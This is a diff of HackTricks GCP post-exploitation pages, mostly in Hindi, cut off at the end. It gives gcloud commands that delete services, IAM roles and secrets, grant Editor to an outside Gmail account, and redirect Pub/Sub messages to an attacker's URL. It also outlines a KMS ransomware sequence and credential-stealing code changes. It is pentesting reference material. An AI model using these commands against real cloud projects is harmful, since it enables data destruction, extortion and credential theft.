 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md

@@ -12,36 +12,37 @@ App Engine के बारे में जानकारी के लिए
 
 ### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
 
-इन permissions के साथ यह संभव है:
+इन अनुमतियों के साथ आप निम्न कर सकते हैं:
 
-- एक कुंजी जोड़ें
+- एक key जोड़ें
-- कुंजियों की सूची देखें
+- keys सूचीबद्ध करें
-- एक कुंजी प्राप्त करें
+- एक key प्राप्त करें
-- कुंजी हटाएँ
+- हटाएँ
 
 > [!CAUTION]
-> हालाँकि, मैंने **cli** से इस जानकारी तक पहुँचने का कोई तरीका नहीं पाया, केवल **web console** से जहाँ आपको **Key type** और **Key name** पता होना चाहिए, या a**pp engine running app** से।
+> हालांकि, मैं **cli से इस जानकारी तक पहुँचने का कोई तरीका नहीं ढूँढ पाया**, केवल **web console** से जहाँ आपको **Key type** और **Key name** पता होना चाहिए, या किसी a**pp engine running app** से।
 >
-> अगर आप इन permissions का उपयोग करने के आसान तरीके जानते हैं तो एक Pull Request भेजें!
+> यदि आप इन permissions का उपयोग करने के आसान तरीके जानते हैं तो एक Pull Request भेजें!
 
 ### `logging.views.access`
 
-इस permission से आप **App के logs देख सकते हैं**:
+इस permission के साथ आप App के **logs देख सकते हैं**:
-
-<details>
-
-<summary>Tail app logs</summary>
 ```bash
 gcloud app logs tail -s <name>
 ```
-</details>
+### सेवा और संस्करण हटाना
 
-### Source Code पढ़ें
+`appengine.versions.delete`, `appengine.versions.list`, और `appengine.services.list` अनुमतियाँ App Engine application के विशिष्ट संस्करणों का प्रबंधन और उन्हें हटाने की अनुमति देती हैं, जो तब ट्रैफ़िक को प्रभावित कर सकती हैं अगर वह विभाजित हो या यदि केवल स्थिर संस्करण हटा दिया जाए। वहीं, `appengine.services.delete` और `appengine.services.list` अनुमतियाँ पूरी सेवाओं की सूची देखने और उन्हें हटाने की अनुमति देती हैं—यह क्रिया तुरंत सभी ट्रैफ़िक और संबंधित संस्करणों की उपलब्धता को बाधित कर देती है।
+```bash
+gcloud app versions delete <VERSION_ID>
+gcloud app services delete <SERVICE_NAME>
+```
+### स्रोत कोड पढ़ें
 
-सभी versions और services का source code **stored in the bucket** नाम **`staging.<proj-id>.appspot.com`** में होता है। यदि आपके पास इसका write access है तो आप source code पढ़कर **vulnerabilities** और **sensitive information** खोज सकते हैं।
+सभी संस्करणों और सेवाओं का source code **बकेट में संग्रहीत** है जिसका नाम **`staging.<proj-id>.appspot.com`** है। अगर आपके पास उस पर write access है तो आप source code पढ़ सकते हैं और **vulnerabilities** और **sensitive information** खोज सकते हैं।
 
-### Source Code संशोधित करें
+### स्रोत कोड संशोधित करें
 
-यदि credentials भेजे जा रहे हों तो उन्हें चुराने के लिए source code संशोधित करें या defacement web attack करें।
+स्रोत कोड में परिवर्तन करें ताकि यदि credentials भेजे जा रहे हों तो उन्हें steal किया जा सके या defacement web attack किया जा सके।
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## Cloud Functions
 
-Cloud Functions के बारे में जानकारी देखें:
+Cloud Functions के बारे में कुछ जानकारी पाएं:
 
 {{#ref}}
 ../gcp-services/gcp-cloud-functions-enum.md
@@ -12,30 +12,31 @@ Cloud Functions के बारे में जानकारी देखे
 
 ### `cloudfunctions.functions.sourceCodeGet`
 
-इस permission के साथ आप Cloud Function का स्रोत कोड डाउनलोड करने के लिए एक **signed URL** प्राप्त कर सकते हैं:
+इस अनुमति के साथ आप Cloud Function के source code को डाउनलोड करने के लिए एक **signed URL** प्राप्त कर सकते हैं:
-
-<details>
-
-<summary>स्रोत कोड डाउनलोड के लिए signed URL प्राप्त करें</summary>
 ```bash
 curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
 -H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
 -H "Content-Type: application/json" \
 -d '{}'
 ```
-</details>
+### `cloudfunctions.functions.delete`
+`cloudfunctions.functions.delete` अनुमति किसी पहचान को पूरी तरह से एक Cloud Function को हटाने की अनुमति देती है, जिसमें उसका code, configuration, triggers, और service accounts के साथ उसका association शामिल है।
+```bash
+gcloud functions delete <FUNCTION_NAME> \
+--region=us-central1 \
+--quiet
+```
+### बकेट के माध्यम से Code Exfiltration
+The `storage.objects.get` and `storage.objects.list` permissions बकेट के अंदर objects को list और read करने की अनुमति देते हैं, और Cloud Functions के मामले में यह विशेष रूप से relevant है क्योंकि हर function अपना source code एक automatically managed Google bucket में स्टोर करता है, जिसका नाम इस फॉर्मैट का पालन करता है `gcf-sources-<PROJECT_NUMBER>-<REGION>`
 
-### Cloud Function अनुरोध चुराएँ
 
-यदि Cloud Function उपयोगकर्ताओं द्वारा भेजी जा रही संवेदनशील जानकारी (e.g. passwords या tokens) को संभाल रहा है, तो पर्याप्त privileges होने पर आप इस जानकारी को **modify the source code of the function and exfiltrate** कर सकते हैं।
+### Cloud Function अनुरोध चुराना
 
-इसके अलावा, python में चलने वाले Cloud Functions web server को expose करने के लिए **flask** का उपयोग करते हैं, यदि आप किसी तरह flaks process के अंदर code injection vulnerability (a SSTI vulnerability for example) ढूँढ लेते हैं, तो यह संभव है कि आप **override the function handler** कर सकें जो HTTP requests प्राप्त करने वाला है, और एक **malicious function** लगा कर वह अनुरोध **exfiltrate the request** कर ले जो legit handler को पास करने से पहले हो।
+यदि Cloud Function उपयोगकर्ताओं द्वारा भेजी जा रही संवेदनशील जानकारी (उदा. passwords या tokens) को manage कर रहा/रही है, तो पर्याप्त privileges होने पर आप function के source code को **modify the source code of the function and exfiltrate** करके इस जानकारी को प्राप्त कर सकते हैं।
 
-उदाहरण के लिए यह code इस attack को लागू करता है:
+इसके अलावा, python में चलने वाली Cloud Functions web server को expose करने के लिए **flask** का उपयोग करती हैं; यदि आप किसी तरह flaks process के अंदर code injection vulnerability (उदा. a SSTI vulnerability) पा लेते हैं, तो यह संभव है कि आप **override the function handler** कर दें जो HTTP requests को एक **malicious function** के लिए रिसीव करेगा, जो legit handler को पास करने से पहले request को **exfiltrate the request** कर सकता है।
 
-<details>
+For example this code implements the attack:
-
-<summary>Steal Cloud Function requests (Python injection)</summary>
 ```python
 import functions_framework
 
@@ -132,8 +133,4 @@ return "Injection completed!"
 except Exception as e:
 return str(e)
 ```
-</details>
-
-
-
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md

@@ -1,4 +1,4 @@
-# GCP - Cloud Run Post Exploitation
+# GCP - Cloud Run पोस्ट-एक्सप्लॉइटेशन
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -10,14 +10,23 @@ Cloud Run के बारे में अधिक जानकारी क
 ../gcp-services/gcp-cloud-run-enum.md
 {{#endref}}
 
-### इमेजेस तक पहुँचें
+### CloudRun Job हटाना
+`run.services.delete` और `run.services.get` अनुमतियाँ, साथ ही `run.jobs.delete`, किसी identity को पूरी तरह से एक Cloud Run service या job (इसकी configuration और history सहित) हटाने की अनुमति देती हैं। एक attacker के हाथों में यह applications या महत्वपूर्ण workflows में त्वरित बाधा पैदा कर सकता है, जिससे उन users और systems के लिए denial of service (DoS) हो सकता है जो service logic या आवश्यक scheduled tasks पर निर्भर करते हैं।
 
-यदि आप कंटेनर इमेजेस तक पहुँच सकते हैं, तो कमजोरियों और हार्डकोडेड संवेदनशील जानकारी के लिए कोड की जाँच करें। साथ ही env वेरिएबल्स में संवेदनशील जानकारी के लिए भी।
+किसी job को हटाने के लिए, निम्नलिखित ऑपरेशन किया जा सकता है।
+```bash
+gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
+```
+Service को हटाने के लिए निम्नलिखित ऑपरेशन किया जा सकता है।
+```bash
+gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
+```
+### इमेजेस तक पहुँच
 
-यदि इमेजेस सेवा Artifact Registry के अंदर रिपोजिटरी में संग्रहीत हैं और उपयोगकर्ता को रिपोजिटरी पर पढ़ने का अधिकार है, तो वह इस सेवा से इमेज डाउनलोड भी कर सकता है।
+यदि आप container images तक पहुँच सकते हैं तो कोड में vulnerabilities और हार्डकोड किए गए संवेदनशील जानकारी की जाँच करें। साथ ही env variables में मौजूद संवेदनशील जानकारी के लिए भी जाँच करें।
 
-### इमेज को संशोधित करें और फिर से तैनात करें
+### इमेज को संशोधित करें और पुनः तैनात करें
 
-जानकारी चुराने के लिए रन इमेज को संशोधित करें और नए संस्करण को फिर से तैनात करें (सिर्फ उसी टैग के साथ एक नया डॉकर कंटेनर अपलोड करने से इसे निष्पादित नहीं किया जाएगा)। उदाहरण के लिए, यदि यह एक लॉगिन पृष्ठ को उजागर कर रहा है, तो उपयोगकर्ताओं द्वारा भेजे जा रहे क्रेडेंशियल्स चुराएँ।
+Run image को संशोधित करके जानकारी चुराएँ और नई version को पुनः तैनात करें (बस वही tags वाले नए docker container को अपलोड करने से वह execute नहीं होगा)। उदाहरण के लिए, यदि यह एक login page expose कर रहा है, तो users द्वारा भेजे जा रहे credentials चुरा लें।
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md

@@ -4,30 +4,48 @@
 
 ## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
 
-आप IAM के बारे में और जानकारी पा सकते हैं:
+You can find further information about IAM in:
 
 {{#ref}}
 ../gcp-services/gcp-iam-and-org-policies-enum.md
 {{#endref}}
 
-### प्रबंधन कंसोल को एक्सेस प्रदान करना <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
+### प्रबंधन कंसोल तक पहुँच प्रदान करना <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
 
-Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. To log in to the web interface, you can **grant access to a Google account** that you control. This can be a generic "**@gmail.com**" account, it does **not have to be a member of the target organization**.
+Access to the [GCP management console](https://console.cloud.google.com) is **उपयोगकर्ता खातों को प्रदान की जाती है, service accounts को नहीं**। वेब इंटरफ़ेस में लॉग इन करने के लिए, आप अपने नियंत्रण वाले किसी Google account को **access दे सकते हैं**। यह एक सामान्य "**@gmail.com**" account हो सकता है, यह **target organization का सदस्य होना जरूरी नहीं है**।
 
-हालाँकि, किसी सामान्य "@gmail.com" खाते को primitive role **Owner** देने के लिए, आपको **वेब कंसोल का उपयोग** करना होगा। `gcloud` तब error देगा अगर आप इसे Editor से ऊपर की permission देने की कोशिश करेंगे।
+हालाँकि, किसी generic "**@gmail.com**" खाते को primitive role **Owner** देने के लिए, आपको **वेब कंसोल का उपयोग** करना होगा। `gcloud` error देगा अगर आप इसे Editor से ऊपर कोई permission देने की कोशिश करेंगे।
 
-आप अपने मौजूदा प्रोजेक्ट में किसी उपयोगकर्ता को primitive role **Editor** देने के लिए निम्न कमांड का उपयोग कर सकते हैं:
+You can use the following command to **grant a user the primitive role of Editor** to your existing project:
-
-<details>
-
-<summary>उपयोगकर्ता को Editor भूमिका दें</summary>
 ```bash
 gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
 ```
-</details>
+यदि आप यहाँ सफल रहे हैं, तो **वेब इंटरफ़ेस तक पहुँच कर** वहाँ से अन्वेषण करने का प्रयास करें।
 
-यदि आप यहाँ सफल हुए हैं, तो **वेब इंटरफ़ेस तक पहुँचने** और वहां से एक्सप्लोर करने की कोशिश करें।
+यह **उच्चतम स्तर है जिसे आप gcloud tool का उपयोग करके असाइन कर सकते हैं**।
 
-यह **सबसे उच्च स्तर** है जिसे आप gcloud tool का उपयोग करके असाइन कर सकते हैं।
+### IAM घटकों को हटाना `iam.*.delete`
+`iam.*.delete` permissions (उदाहरण के लिए, `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete`, आदि) किसी identity को महत्वपूर्ण IAM components जैसे custom roles, API key bindings, service account keys, और स्वयं service accounts को delete करने की अनुमति देते हैं। एक attacker के हाथों में, यह legitimate access mechanisms को हटाकर denial of service की स्थिति पैदा कर सकता है।
 
+ऐसा हमला करने के लिए, उदाहरण के लिए roles को delete करने के लिए निम्न का उपयोग किया जा सकता है:
+```bash
+gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
+```
+### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
+
+`iam.serviceAccountKeys.disable` और `iam.serviceAccounts.disable` permissions सक्रिय Service Account keys या service accounts को disable करने की अनुमति देती हैं, जो हमलावर के हाथों में operations में व्यवधान डालने, denial of service पैदा करने, या वैध credentials के उपयोग को रोककर incident response को बाधित करने के लिए उपयोग की जा सकती हैं।
+
+Service Account को disable करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
+```bash
+gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
+```
+Service Account की keys को disable करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
+```bash
+gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
+```
+### `iam.*.undelete`
+`iam.*.undelete` permissions पहले हटाए गए तत्वों जैसे API key bindings, custom roles, या service accounts को पुनर्स्थापित करने की अनुमति देती हैं। एक attacker के हाथों में, इसका उपयोग defensive actions को उलटने (recover removed access), हटाए गए compromise vectors को पुनः स्थापित करके persistence बनाए रखने, या remediation प्रयासों से बचने के लिए किया जा सकता है, जिससे incident containment जटिल हो जाता है।
+```bash
+gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
+```
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## KMS
 
-KMS के बारे में बुनियादी जानकारी देखें:
+KMS के बारे में बुनियादी जानकारी के लिए देखें:
 
 {{#ref}}
 ../gcp-services/gcp-kms-enum.md
@@ -12,11 +12,11 @@ KMS के बारे में बुनियादी जानकारी
 
 ### `cloudkms.cryptoKeyVersions.destroy`
 
-इस permission वाले attacker KMS version को destroy कर सकते हैं। ऐसा करने के लिए पहले आपको key को disable करना होगा और फिर उसे destroy करना होगा:
+इस अनुमति वाले attacker KMS का एक संस्करण नष्ट कर सकता है। ऐसा करने के लिए पहले आपको कुंजी को अक्षम करना होगा और फिर उसे नष्ट करना होगा:
 
 <details>
 
-<summary>Key version को disable और destroy करें (Python)</summary>
+<summary>कुंजी संस्करण को अक्षम और नष्ट करें (Python)</summary>
 ```python
 # pip install google-cloud-kms
 
@@ -65,24 +65,24 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
 
 ### KMS Ransomware
 
-AWS में KMS resource policy को बदलकर और केवल attackers account को key के उपयोग की अनुमति देकर पूरी तरह से **steal a KMS key** करना संभव है। चूंकि ये resource policies GCP में मौजूद नहीं हैं, इसलिए यह संभव नहीं है।
+AWS में, KMS resource policy को संशोधित करके और केवल attacker के account को key के उपयोग की अनुमति देकर पूरी तरह से **steal a KMS key** करना संभव है। चूंकि ये resource policies GCP में मौजूद नहीं हैं, इसलिए यह संभव नहीं है।
 
-हालाँकि, एक वैश्विक KMS Ransomware करने का एक और तरीका है, जो निम्नलिखित चरणों को शामिल करेगा:
+हालाँकि, global KMS Ransomware करने का एक और तरीका है, जिसमें निम्नलिखित कदम शामिल होंगे:
 
-- एक नया **version of the key with a key material** बनाएँ जिसे attacker द्वारा import किया गया हो
+- एक नया **version of the key with a key material** बनाएं जिसे attacker ने import किया हो
 ```bash
 gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
 ```
-- इसे **default version** के रूप में सेट करें (भविष्य में एन्क्रिप्ट होने वाले डेटा के लिए)
+- इसे **डिफ़ॉल्ट संस्करण** के रूप में सेट करें (भविष्य में एन्क्रिप्ट किए जाने वाले डेटा के लिए)
-- पहले वर्शन से एन्क्रिप्ट किए गए पुराने डेटा को नए वर्शन के साथ **Re-encrypt older data** करें।
+- **पुराने डेटा को पुनः-एन्क्रिप्ट करें** जो पिछले संस्करण के साथ एन्क्रिप्ट किया गया था, नए संस्करण के साथ।
-- **Delete the KMS key**
+- **KMS key को हटाएँ**
-- अब केवल वही attacker, जिसके पास original key material है, एन्क्रिप्ट किए गए डेटा को decrypt कर सकेगा।
+- अब केवल attacker ही, जिसके पास मूल key material है, एन्क्रिप्ट किए गए डेटा को डिक्रिप्ट कर सकेगा।
 
-#### यहाँ नए वर्शन को import करने और पुराने डेटा को disable/delete करने के स्टेप्स हैं:
+#### नया संस्करण इम्पोर्ट करने और पुराने डेटा को निष्क्रिय/हटाने के चरण:
 
 <details>
 
-<summary>नया key version import करें और पुराने version को delete करें</summary>
+<summary>नया कुंजी संस्करण आयात करें और पुराना संस्करण हटाएँ</summary>
 ```bash
 # Encrypt something with the original key
 echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
@@ -162,7 +162,7 @@ gcloud kms keys versions destroy \
 
 <details>
 
-<summary>सिमेट्रिक कुंजी का उपयोग करके डेटा एन्क्रिप्ट करें (Python)</summary>
+<summary>सिमेट्रिक कुंजी के साथ डेटा एन्क्रिप्ट करें (Python)</summary>
 ```python
 from google.cloud import kms
 import base64
@@ -203,7 +203,7 @@ print('Ciphertext:', ciphertext)
 
 <details>
 
-<summary>असिमेट्रिक key के साथ संदेश पर हस्ताक्षर करें (Python)</summary>
+<summary>असिमेट्रिक कुंजी से संदेश पर हस्ताक्षर करना (Python)</summary>
 ```python
 import hashlib
 from google.cloud import kms
@@ -243,7 +243,7 @@ print('Signature:', signature)
 
 <details>
 
-<summary>असिमेट्रिक कुंजी के साथ सिग्नेचर सत्यापित करें (Python)</summary>
+<summary>असिमेट्रिक कुंजी के साथ हस्ताक्षर सत्यापित करें (Python)</summary>
 ```python
 from google.cloud import kms
 import hashlib
@@ -270,6 +270,32 @@ return verify_response.success
 verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
 print('Verified:', verified)
 ```
+### `cloudkms.cryptoKeyVersions.restore`
+यह `cloudkms.cryptoKeyVersions.restore` अनुमति किसी पहचान को Cloud KMS में पहले विनाश के लिए निर्धारित या अक्षम किए गए कुंजी संस्करण को पुनर्स्थापित करके उसे सक्रिय और उपयोग योग्य स्थिति में लौटाने की अनुमति देता है।
+```bash
+gcloud kms keys versions restore <VERSION_ID> \
+--key=<KEY_NAME> \
+--keyring=<KEYRING_NAME> \
+--location=<LOCATION> \
+--project=<PROJECT_ID>
+```
+### `cloudkms.cryptoKeyVersions.update`
+`cloudkms.cryptoKeyVersions.update` अनुमति किसी पहचान को Cloud KMS में किसी विशिष्ट key version के attributes या state को संशोधित करने की क्षमता देती है — उदाहरण के लिए उसे सक्षम या अक्षम करना।
+```bash
+# Disable key
+gcloud kms keys versions disable <VERSION_ID> \
+--key=<KEY_NAME> \
+--keyring=<KEYRING_NAME> \
+--location=<LOCATION> \
+--project=<PROJECT_ID>
+
+# Enable key
+gcloud kms keys versions enable <VERSION_ID> \
+--key=<KEY_NAME> \
+--keyring=<KEYRING_NAME> \
+--location=<LOCATION> \
+--project=<PROJECT_ID>
+```
 </details>
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md

@@ -12,11 +12,11 @@ Pub/Sub के बारे में अधिक जानकारी के
 
 ### `pubsub.topics.publish`
 
-एक topic में संदेश प्रकाशित करना, जो **अनपेक्षित डेटा भेजने** और अनपेक्षित कार्यक्षमताओं को ट्रिगर करने या कमजोरियों का शोषण करने के लिए उपयोगी है:
+किसी topic में संदेश प्रकाशित करना, उपयोगी है **अनपेक्षित डेटा भेजने** और अनपेक्षित कार्यक्षमताओं को ट्रिगर करने या exploit vulnerabilities:
 
 <details>
 
-<summary>topic में संदेश प्रकाशित करें</summary>
+<summary>topic पर संदेश प्रकाशित करें</summary>
 ```bash
 # Publish a message in a topic
 gcloud pubsub topics publish <topic_name> --message "Hello!"
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
 
 ### `pubsub.topics.detachSubscription`
 
-यह किसी subscription को संदेश प्राप्त करने से रोकने के लिए उपयोगी है, शायद पहचान से बचने के लिए।
+यह subscription को संदेश प्राप्त करने से रोकने में उपयोगी है, शायद पहचान से बचने के लिए।
 
 <details>
 
-<summary>subscription को topic से अलग करें</summary>
+<summary>subscription को topic से detach करें</summary>
 ```bash
 gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
 ```
@@ -37,8 +37,8 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.topics.delete`
 
-यह subscription को messages प्राप्त करने से रोकने के लिए उपयोगी है, संभवतः detection से बचने के लिए।\
+किसी subscription को संदेश प्राप्त करने से रोकने के लिए उपयोगी, संभवतः पहचान से बचने के लिए।\
-यह संभव है कि एक topic को तब भी delete किया जा सके जब उसके साथ subscriptions जुड़े हों।
+यह संभव है कि किसी topic को delete कर दिया जाए, भले ही उसके साथ subscriptions जुड़ी हों।
 
 <details>
 
@@ -50,30 +50,56 @@ gcloud pubsub topics delete <TOPIC NAME>
 
 ### `pubsub.topics.update`
 
-इस अनुमति का उपयोग टॉपिक की कुछ सेटिंग अपडेट करने के लिए करें ताकि इसे बाधित किया जा सके, जैसे `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
+इस अनुमति का उपयोग topic की किसी सेटिंग को बदलकर उसे बाधित करने के लिए करें, जैसे `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
 
 ### `pubsub.topics.setIamPolicy`
 
-खुद को अनुमति दें ताकि आप पूर्व के किसी भी attacks को अंजाम दे सकें।
+खुद को अनुमति दें ताकि आप पहले बताए गए किसी भी attacks कर सकें।
+```bash
+# Add Binding
+gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
+--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--role="<ROLE_OR_CUSTOM_ROLE>" \
+--project="<PROJECT_ID>"
 
+# Remove Binding
+gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
+--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--role="<ROLE_OR_CUSTOM_ROLE>" \
+--project="<PROJECT_ID>"
+
+# Change Policy
+gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
+<(echo '{
+"bindings": [
+{
+"role": "<ROLE_OR_CUSTOM_ROLE>",
+"members": [
+"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
+]
+}
+]
+}') \
+--project=<PROJECT_ID>
+```
 ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
 
 वेब सर्वर में सभी संदेश प्राप्त करें:
 
 <details>
 
-<summary>Create push subscription to receive messages</summary>
+<summary>संदेश प्राप्त करने के लिए push subscription बनाएँ</summary>
 ```bash
 # Crete push subscription and recieve all the messages instantly in your web server
 gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
 ```
 </details>
 
-एक subscription बनाएँ और इसका उपयोग करके **pull messages** प्राप्त करें:
+एक subscription बनाएं और इसका उपयोग **pull messages** प्राप्त करने के लिए करें:
 
 <details>
 
-<summary>pull subscription बनाएँ और messages प्राप्त करें</summary>
+<summary>एक pull subscription बनाएं और messages प्राप्त करें</summary>
 ```bash
 # This will retrive a non ACKed message (and won't ACK it)
 gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -86,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.delete`
 
-**एक subscription हटाना** लॉग प्रोसेसिंग सिस्टम या इसी तरह की किसी चीज़ को बाधित करने के लिए उपयोगी हो सकता है:
+**सब्सक्रिप्शन हटाना** लॉग प्रोसेसिंग सिस्टम या किसी समान चीज़ को बाधित करने के लिए उपयोगी हो सकता है:
 
 <details>
 
-<summary>subscription हटाएं</summary>
+<summary>सब्सक्रिप्शन हटाएं</summary>
 ```bash
 gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 ```
@@ -98,11 +124,11 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.update`
 
-इस अनुमति का उपयोग किसी सेटिंग को अपडेट करने के लिए करें ताकि संदेश ऐसी जगह संग्रहीत हों जहाँ आप पहुँच सकें (URL, Big Query table, Bucket) या बस इसे बाधित करने के लिए।
+इस अनुमति का उपयोग कुछ सेटिंग अपडेट करने के लिए करें ताकि संदेश उन स्थानों पर संग्रहीत हों जहाँ आप पहुँच सकते हैं (URL, Big Query table, Bucket) या बस इसे बाधित करने के लिए।
 
 <details>
 
-<summary>सब्सक्रिप्शन अपडेट एंडपॉइंट</summary>
+<summary>सब्सक्रिप्शन एंडपॉइंट अपडेट करें</summary>
 ```bash
 gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
 ```
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
 
 ### `pubsub.subscriptions.setIamPolicy`
 
-अपने आपको वे permissions दें जो पहले बताए गए किसी भी attacks को करने के लिए आवश्यक हैं।
+खुद को वे permissions दें जो पहले बताए गए किसी भी attack को अंजाम देने के लिए आवश्यक हैं।
 
 ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
 
-एक schema को किसी topic से attach करें ताकि messages उसे पूरा न करें और इसलिए topic बाधित हो जाए।\\
+किसी schema को एक topic से attach करके यह सुनिश्चित करें कि messages उस schema को पूरा न करें और परिणामस्वरूप topic बाधित हो जाए।\
-यदि कोई schemas नहीं हैं तो आपको एक create करने की आवश्यकता हो सकती है।
+यदि कोई schemas मौजूद नहीं हैं तो आपको एक बनानी पड़ सकती है।
 
 <details>
 
-<summary>schema फ़ाइल बनाएं और उसे topic से attach करें</summary>
+<summary>schema फ़ाइल बनाएँ और उसे topic से attach करें</summary>
 ```json:schema.json
 {
 "namespace": "com.example",
@@ -148,7 +174,7 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
 
 ### `pubsub.schemas.delete`
 
-यह ऐसा लग सकता है कि schema को हटाने से आप ऐसे messages भेज पाएँगे जो schema के अनुरूप नहीं हैं। हालाँकि, क्योंकि schema हटाया जाएगा, कोई भी message असल में topic के अंदर प्रवेश नहीं करेगा। तो यह **बेकार** है:
+यह ऐसा लग सकता है कि schema को delete करने से आप ऐसे messages भेज सकेंगे जो schema के अनुरूप नहीं हैं। हालांकि, क्योंकि schema हटाई जा चुकी होगी, कोई भी message वास्तव में topic के अंदर प्रवेश नहीं करेगा। इसलिए यह **बेकार** है:
 
 <details>
 
@@ -160,11 +186,11 @@ gcloud pubsub schemas delete <SCHEMA NAME>
 
 ### `pubsub.schemas.setIamPolicy`
 
-उन अनुमतियों को खुद को दें जो पहले बताए गए attacks को अंजाम देने के लिए आवश्यक हैं।
+खुद को वे permissions दें जो किसी भी पहले बताए गए हमलों को अंजाम देने के लिए आवश्यक हैं।
 
 ### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
 
-यह सभी unACKed messages का एक snapshot बनाएगा और उन्हें subscription में वापस डाल देगा। attacker के लिए ज्यादा उपयोगी नहीं है, पर यहाँ है:
+यह सभी unACKed messages का एक snapshot बनाएगा और उन्हें subscription में वापस डाल देगा। एक attacker के लिए बहुत उपयोगी नहीं है लेकिन यहाँ है:
 
 <details>
 

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## Secretmanager
 
-Secret Manager के बारे में अधिक जानकारी के लिए देखें:
+For more information about Secret Manager check:
 
 {{#ref}}
 ../gcp-services/gcp-secrets-manager-enum.md
@@ -12,15 +12,38 @@ Secret Manager के बारे में अधिक जानकारी
 
 ### `secretmanager.versions.access`
 
-यह आपको secret manager से secrets पढ़ने की अनुमति देता है और यह escalate privileges में मदद कर सकता है (निर्भर करता है कि secret के अंदर कौन सी जानकारी संग्रहीत है):
+यह आपको secret manager से secrets पढ़ने की अनुमति देता है और यह शायद escalate privileges में मदद कर सकता है (निर्भर करता है कि secret के अंदर कौन सी जानकारी stored है):
 
 <details>
 
-<summary>Secret version को एक्सेस करें</summary>
+<summary>Access secret version</summary>
 ```bash
 # Get clear-text of version 1 of secret: "<secret name>"
 gcloud secrets versions access 1 --secret="<secret_name>"
 ```
 </details>
 
+### `secretmanager.versions.destroy`
+`secretmanager.versions.destroy` अनुमति किसी identity को Secret Manager में किसी secret के एक विशिष्ट संस्करण को स्थायी रूप से नष्ट (इसे अपरिवर्तनीय रूप से हटाया गया के रूप में चिह्नित) करने की अनुमति देती है, जो महत्वपूर्ण credentials को हटाने के लिए सक्षम कर सकती है और संभवतः denial of service का कारण बन सकती है या sensitive data की recovery को रोक सकती है।
+```bash
+gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
+```
+### `secretmanager.versions.disable`
